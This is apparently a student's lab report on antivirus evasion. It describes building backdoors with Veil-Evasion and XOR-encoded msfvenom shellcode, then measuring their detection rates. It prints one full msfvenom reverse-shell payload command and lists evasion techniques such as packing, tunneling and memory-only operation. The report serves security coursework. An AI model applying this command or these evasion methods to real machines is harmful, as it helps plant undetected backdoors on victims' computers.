Exp3 免杀原理与实践
一、实验内容
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
1.2 通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验步骤
1.首先使用360对电脑进行了检测,成功发现了上次实验做出的后门。
添加信任以后放在 http://www.virscan.org/上扫描,由于文件名不被允许,我将自己的学号去掉了,下图是结果。
结果19个发现病毒,还是很多的。
2.Veil evasion
随后使用Veil evasion生成后门程序,这是一个很痛苦的过程,我安装了一个下午,又是换源换网站,或者直接下载,或者克隆下载安装了好多次,还是无法运行,极为难受,
多次失败后删除的文件。。
还好第二天老师就告诉了解决方法,按要求注释了两行代码,终于可以用了。
使用Veil生成好了程序,传到了Windows中(ps20.252.bat为失败品)
在Windows上打开并回连
连接成功
随后把文件上传到网站检测
6个发现病毒,Veil果然不错。
3.c语言调用shellcode
kali 输入代码msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.129.129 LPORT=1208 -f c(图片有一点错误,使用了Windows的ip,后来由于失败意识到已经改正)
将生成的那段shellcode存入了一个.c文件,传至Windows。(qq邮箱传的。。。)
然后在codeblocks中打开添加代码对数据进行异或,然后编译
依旧回连,成功。。
把文件名从我的学号改成我的名字>congliyu1.exe,上传至网站检测。
虽然有九个发现病毒,不过相比室友的相同做法做的结果竟然好了太多,自己也很吃惊
然后同样用邮箱传回虚拟机进行加壳
传回来再检测
减少到了七个,还是有用处的
三、基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测,简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
启发式恶意软件检测,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于行为的恶意软件检测,从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
免杀的方法是针对检测技术的。
免杀就是让安插的后门不被AV软件发现
(3)免杀的基本方法有哪些?
所以总体技术有:
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
四、实验总结与体会
这次实验做的比上次要久,前前后后做了好几波,因为Veil的问题,使我一个下午都在安装Veil,还没成功,最后被迫开始做C语言生成shellcode,不过当时精神已经崩溃,做了一会儿只能先休息了,好在没多久老师就发布了解决办法。随后在实验中也不是很顺利,代码与ip地址输入错误,总之遇到很多麻烦,不过这也让我印象深刻,通过这些过程熟练使用了msf编码器,veil-evasion, shellcode编程等免杀工具,也意识到杀毒软件其实也并不是很靠谱,想要免杀的方法多种多样,所以自己要多加小心。
五、与实战还缺什么技术和步骤
比较出名的主流编码加壳平台程序都是可以被杀毒软件检测到的,因此实战还是要自己操作编码,这需要的知识就太多了,同时能瞒过杀毒软件进行传输文件也是极为困难的,真正厉害的杀软还是让人比较绝望的。